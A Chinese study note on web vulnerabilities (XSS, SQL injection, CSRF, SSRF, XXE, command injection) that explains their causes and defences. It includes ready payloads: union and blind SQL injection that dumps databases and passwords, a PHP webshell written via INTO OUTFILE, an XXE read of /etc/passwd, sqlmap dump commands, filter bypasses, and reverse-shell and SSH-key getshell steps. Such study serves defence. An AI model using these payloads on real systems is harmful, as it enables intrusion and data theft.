web常见漏洞原理与防御

前言

下面总结的内容都比较简略,可能是摘抄了《白帽子》,可能是网上搜集的资料,或者直接给出了别人总结的很好的文章供以后查看,因为每个点展开来将都可以写好几篇文章(嗯,为自己偷懒找借口

XSS

  • 常见类型:

    • 反射型XSS:把用户输入的数据“反射”给浏览器,即需要用户点击某链接
    • 存储型XSS:把用户输入的数据存储在服务器
    • DOM Based XSS:也属于反射型XSS,修改页面的DOM节点形成XSS
  • 其他类型的XSS:跨站的艺术-XSS入门与介绍

    • mXSS:突变型XSS,原本无害,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。如:旧版QQ客户端中的链接预览。
    • UXSS:利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型,可以理解为Bypass同源策略。通用跨站脚本攻击(UXSS)
    • Flash XSS:来源于 getURL/navigateToURL(访问跳转)、ExternalInterface.call(调用js函数)
    • UTF-7 XSS:低版本IE中未指定meta编码或指定编码为UTF-7
    • MHTML XSS:低版本IE中
    • CSS XSS:body {width:expression(alert(1));: red;}
    • VBScript XSS:<input type ="button" onClick="VBScript:Document.Write 'hello mr. Fooying' MsgBox 'xss'">
  • 注入点: GET参数、POST参数、UA、Referer…一切可以提交的输入点

  • 危害:浅谈跨站脚本攻击与防御

    • cookie劫持
    • 后台增删改文章
    • 钓鱼,利用xss构造出一个登录框,骗取用户账户密码。
    • xss蠕虫(利用xss漏洞进行传播)
    • 修改网页代码:必须存在存储型xss漏洞,并且将结果返回到页面上 (javascript加载外部的代码文件可以是任意扩展名(无扩展名也可以))
    • 利用网站重定向
    • 获取用户信息(如浏览器信息,IP地址等):调用java Applet的接口获取客户端本地IP
  • 防御:

    • 在Cookie中设置HttpOnly标识,禁止页面的js访问带有httponly属性的cookie
    • XSS Filter:过滤用户输入的危险字符,设置黑白名单
    • 输出检查:编码和转义,常用编码:html编码、url编码、js编码、16进制、base64等,使得浏览器无法解析执行js代码
    • 针对不同位置的输出,使用不同的处理方式
    • 处理富文本:限制用户能使用的标签,限制为只能使用a、div等安全的标签
    • header中使用content-Sencurity-Policy字段,规定请求js的域名白名单(CSP策略)
  • 绕过:
    • 转换大小写
    • 大小写混写
    • 双引号改单引号
    • 引号改为/
    • 用全角字符
    • 使用javascript伪协议
    • 使用回车、空格等特殊字符
    • 在css的style中使用/**/注释符
    • 使用字符编码
    • 利用事件触发xss

    浅谈XSS—字符编码和浏览器解析原理

  • 常用payload:t00ls

SQL Injection:

  • 原理:数据与代码未分离

  • 数据库相关:
    • mysql 5.0版本以后提供了information.schema数据库:
    • 查看该数据库中的表:schemata、tables、columns需要重点关注
      • schemata:所有数据库的基本信息,包括数据库名,编码类型,路径等。schema_name列即为数据库名。
      • tables: 储存mysql中的表信息,table_schema是库名信息,table_nama是表名(图太大了,不截了)
      • columns:提供了表中的列信息,columns_name字段对应的字段名
    • 系统函数:
      • user() :当前使用者的用户名
      • database():当前数据库名
      • version():数据库版本
      • datadir:读取数据库的绝对路径
      • @@vasedir:mysql安装路径
      • @@version_compile_os:操作系统
      • concat():连接一个或者多个字符串
      • group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
  • 分类
    • 基于联合查询
      • UNION:合并两个或多个SELECT语句的结果集,并消去表中重复的行。UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。
      • and 1=2 union select 1,version(),database()可以爆出当前使用的版本和数据库名
      • and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 %23爆出数据库名,依次使用limit2,1往下爆库名
      • and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata %23

      • 假设有flag库:
        • and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’ 爆出flag库下的所有的表,假设其中有flagtable表
        • and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’爆出flagtable下的所有字段,假设有name和password字段
        • and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable 爆出flag下的flagtable表的name和password的内容
    • 基于错误回显
      • 用到的函数:
        • count():统计元祖的个数
        • rand():0~1的随机数
        • floor():向下取整,select floor(rand()*2);的结果为0或者1
        • group_concat():将数据进行拼接
      • 整合语句:select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))name from information_schema.tables group by name;
        • 生成随机数并取整,然后用分号将不同的数据拼接,并取别名name,最后将结果以name进行分组并进行统计,能看到统计出的两个不同的取值,0和1。
        • 多重复几次就会报错
      • 公式:username=admin' and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(你想获取的数据的sql语句))x from information_schema.tables group by x )a) and '1' = '1
    • 基于盲注
      • 时间盲注:
        • 加入特定的时间函数,通过查看是web页面返回的时间差来判断注入的语句是否正确
        • and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100,1,sleep(3))%23
      • 布尔型的盲注: and ascii(substr(@@datadir,1,1))>69 %23
    • 二次注入:分为语句插入和语句执行
    • 宽字节注入: (字符集好方啊,我得专门总结一篇啊😂
      • mysql的转义函数:addslashesmysql_real_escape_stringmysql_escape_string
      • \的ascii码为0x5c,会结合成新的字符
    • 其他
      • 读文件:SELECT LOAD_FILE(‘/etc/passwd’);
      • 写文件:
        • SELECT '<? system($_GET['c']); ?>' INTO OUTFILE/DUMPFILE '/var/www/shell.php';
        • into dumpfile 能导出一个完整能执行的2进制文件,函数不对任何列或行进行终止,也不执行任何转义处理
        • 在UDF提权的场景是需要上传二进制文件等等用dumpfile
      • 带外通道:利用其他协议或者渠道从服务器提取数据. 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.
  • sqlmap的使用,最基础的使用方法如下:
    • sqlmap -u “xxx”
    • sqlmap -u “xxx” –current-db
    • sqlmap -u “xxx” -D DB名 –tables
    • sqlmap -u “xxx” -D DB名 -T 表名 –columns
    • sqlmap -u “xxx” -D DB名 -T 表名 -C 字段名 –dump
    • tamper绕WAF
  • 其他注入:
    • XML注入
    • 代码注入
    • CRLF注入:\r\n,0x0d,0x0a
  • 防御:
    • waf
    • 使用预编译语句,绑定变量
    • 检查数据类型,例如限制输入数据只能为int
    • 使用安全函数,encodeForSQL()
    • 最小权限原则,避免直接使用root

CSRF:

  • 原理:通过伪装来自受信任用户的请求来利用受信任的网站,例如:用户登录某账户,浏览器获得cookie;攻击者诱使用户访问某构造好的恶意CSRF页面。

  • 防御:
    • 验证码
    • Referer Check(HTTPS跳转到HTTP不会发送Referer)
    • Anti CSRF Token
  • Json劫持属于CSRF的一种:csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。一些web应用会把一些敏感数据以json的形式返回到前端。防御手段与CSRF基本一致。 JSONP 安全攻防技术(JSON劫持、 XSS漏洞)

SSRF(Server-Side Request Forgery)

猪猪侠的ppt 浅谈SSRF漏洞 SSRF漏洞分析与利用 SSRF in PHP

  • 原理:利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,一般用来在外网探测或攻击内网服务

  • SSRF可以做什么:
    • 扫描内部网络(FingerPrint)
    • 向内部任意主机任意端口发送精心构造的数据{Payload}
    • DoS(请求大文件,始终保持连接 keep-alive always)
    • 暴力穷举(users/dirs/files),利用File协议读取本地文件。
  • 阻碍:
    • 服务器开启OpenSSL
    • 服务器需要鉴权信息(Cookies & User:Pass)
  • 可利用的伪协议:dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp

  • 绕过:SSRF漏洞中绕过IP限制的几种方法总结正则语法
    • 将IP改写为8、16进制,10、16进制整数格式,以绕过正则
    • http://xip.io,访问这个网站的子域名192.168.0.1.xip.io,就会自动重定向到192.168.0.1,使用http://tinyurl.com变短地址
    • 利用解析URL所出现的问题,http://www.baidu.com@192.168.0.1/
      • Redirect:302跳转绕过http协议限制,如在302.php里面写入dictfile
      • CRLF注入:WebLogic SSRF HTTP头注入(这个还不太懂,先马住👀👀👀👀👀👀👀👀👀👀👀👀👀👀👀)

    • 通过各种非HTTP协议:gopherfile
    • DNS Rebinding:第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。
  • 防御:
    • 对url参数进行过滤,过滤返回信息
    • 限制请求端口为http常用的端口
    • 内网IP黑名单
    • 禁用不需要的协议

XXE

浅谈XXE漏洞攻击与防御

  • XML基础:
    • XML声明、文档元素
    • DTD(Document Type Definitions)文档类型定义,为漏洞根源
      • 内部声明:<!DOCTYPE 根元素 [元素声明]>
      • 引用外部:<!DOCTYPE 根元素 SYSTEM "文件名">
      • 关键字如下:
        • DOCTYPE(DTD的声明)
        • SYSTEM、PUBLIC(外部资源申请)
        • ENTITY(实体的声明):
          • 分类:内置实体、字符实体、通用实体、参数实体、外部实体
          • 外部实体:<!ENTITY 实体名称 SYSTEM "URI">,url中可用file、http、https、ftp等
            <?xml version="1.0" encoding="utf-8"?>
            <!DOCTYPE a [
                <!ENTITY content SYSTEM "file:///etc/passwd">]>
            <foo>
                <value>&content;</value> 
            </foo>
          
  • 原理:应用程序解析XML输入时,没有禁止DTD引用外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
    • <!ENTITY 实体名称 SYSTEM "URI">,支持file、http、https、ftp等
    • 触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件
  • 利用:
    • 任意文件读取(有回显)
    • blind xxe(无回显):构建一条带外信道提取数据
  • 防御:
    • 使用开发语言提供的禁用外部实体的方法
    • 过滤用户提交的XML数据,过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

命令注入

DVWA系列(四)—-Command Injection (命令行注入)

其他

  1. 一个web服务器存在命令注入漏洞与任意文件读取漏洞,哪些方式可以获取服务器权限?
    • 通过命令注入直接写shell,将测试命令输出写道/tmp/路径下,通过任意文件读取查看调试。
    • 通过命令注入漏洞,执行命令写crontab,执行命令写reverse shell文件,然后crontab执行shell。
    • 命令注入执行wget,获取ssh key放到/root/.ssh目录下
  2. Mysql注入直接getshell的条件
    • 要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
    • gpc没有开启,开启了单引号被转义了,语句就不能正常执行了 (开启magic_quote_gpc=on之后,能实现addslshes()和stripslashes()这两个函数的功能。在PHP4.0及以上的版本中,该选项默认情况下是开启的,所以在PHP4.0及以上的版本中,就算PHP程序中的参数没有进行过滤,PHP系统也会对每一个通过GET、POST、COOKIE方式传递的变量自动转换,换句话说,输入的注入攻击代码将会全部被转换)
    • 要有file权限,默认情况下只有root有
    • 对目录要有写权限,一般image之类的存放突破的目录就有